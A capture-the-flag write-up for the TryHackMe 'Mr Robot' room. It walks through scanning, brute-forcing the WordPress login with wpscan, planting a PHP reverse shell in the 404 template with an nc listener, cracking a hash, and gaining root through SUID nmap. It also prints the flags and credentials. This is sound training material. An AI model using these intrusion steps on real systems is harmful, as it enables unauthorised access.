Mr_Robot_CTF writeup - 5skr0ll3r/Try_Hack_Me GitHub Wiki
nmap -A -sV -vv -T5 --script vuln <ip>
-A agresive scan
-sV services versions detection
-vv very verbose
-T5 Set timing max level
--script vuln runs a script that looks for known vulnerabilities
Checking robots.txt we find 2 files:
fsocity.dic
key-1-of-3.txt
flag 1:
http://<machine_ip>/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
File fsocity.dic found in http://<machine_ip>/fsocity.dic is a wordlist and using wpscan we can brute force the login page found with the nmap scan:
http://<ip>:80/wp-login.php
If you open fsocity.dic you will notice that the file has too many lines and some of them are duplicates, to fix this (with some help from stackoverflow) i made a python program that removes all duplicates
outfile = 'newp.txt'
lines_seen = set()
outfile = open(outfile, 'w')
for line in open('fsocity.dic','r'):
if line not in lines_seen:
outfile.write(line)
lines_seen.add(line)
outfile.close()
Run it: python3 <name_of the_file>
As wordlist now, use newp.txt
We gonna guess the name elliot cause why not or use the newp.txt as the name_list and the pass_list (it might take a while):
wpscan --url <http://<ip>:80/wp-login.php> -U <name_list> -P <pass_list>
Creds: Name: elliot Pass:ER28-0652
After logging in, go in Appearance > Editor > 404 Template:
Delete code and put shell code, i used:
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
In the code, change the ip to your ip and the port number to 4444
nc -lnvp <port_used_in_shell>
and go to:
http://<ip>:80/wp_admin/404.php
And you have a shell
Going in home/robot/ we see 2 files we dont have permision to see the flag but we can see the password.raw-md5that contains: robot:c3fcd3d76192e4007dfb496cca67e13b
Copy the hash and go to https://crackstation.net/ to crack it.
Cracked_Hash: abcdefghijklmnopqrstuvwxyz
Once you have the pass try:
su robot
As a result we get:
su: must be run from a terminal
Do:
python -c 'import pty; pty.spawn("/bin/bash")'
And now retry
su robot
Cat the file in /home/robot/:
822c73956184f694993bede3eb39f959
and you have the second flag
For the last flag as the hint is nmap i supose we can escalate our privileges using it to get root access:
find / -user root -perm -4000 -exec ls -la {} \;
/ directory starting the search
-user root files with owner root
-perm -4000 files with permisions set to 4000
-exec ls -la executing command ls -la to see more info about the displayed files
In one of the results we find the following:
-rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
It has x permision for any user meaning we can run it
so by doing:
nmap --interactive
we execute commands from nmap, which nmap has root privileges
do:
!sh
Now you can navigate to the root directory and cat key-3-of-3.txt:
04787ddef27c3dee1ee161b21670b4e4